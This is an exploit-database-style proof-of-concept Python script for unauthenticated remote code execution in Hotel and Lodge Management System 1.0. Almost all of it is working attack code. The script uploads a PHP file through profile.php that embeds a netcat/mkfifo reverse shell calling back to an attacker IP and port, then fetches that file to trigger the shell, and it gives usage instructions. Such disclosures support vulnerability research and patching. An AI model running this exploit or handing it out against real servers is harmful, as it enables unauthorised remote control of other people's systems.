# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated) # Date: 07-03-2021 # Exploit Author: Christian Vierschilling # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html # Version: 1.0 # Tested on: PHP 7.4.14, Linux x64_x86 # --- Description --- # # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. # Executing this script against a target might return a reverse php shell. # --- Proof of concept --- # #!/usr/bin/python3 import random import sys import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def file_upload(target_ip, attacker_ip, attacker_port): print("(+) Setting up reverse shell php file ..") random_file_name = str(random.randint(100000, 999999)) + "revshell.php" revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port) m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''}) print("(+) Trying to upload it ..") r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type}) r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip)) if random_file_name in r2.text: print("(+) File upload seems to have been successful!") return random_file_name else: print("(-) Oh noes, file upload failed .. quitting!") exit() def trigger_shell(target_ip, random_file_name): print("(+) Now trying to trigger our shell..") r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name)) return None def main(): if len(sys.argv) != 4: print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0]) print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0]) sys.exit(-1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port) trigger_shell(target_ip, revshell_file_name) print("\n(+) done!") if __name__ == "__main__": main()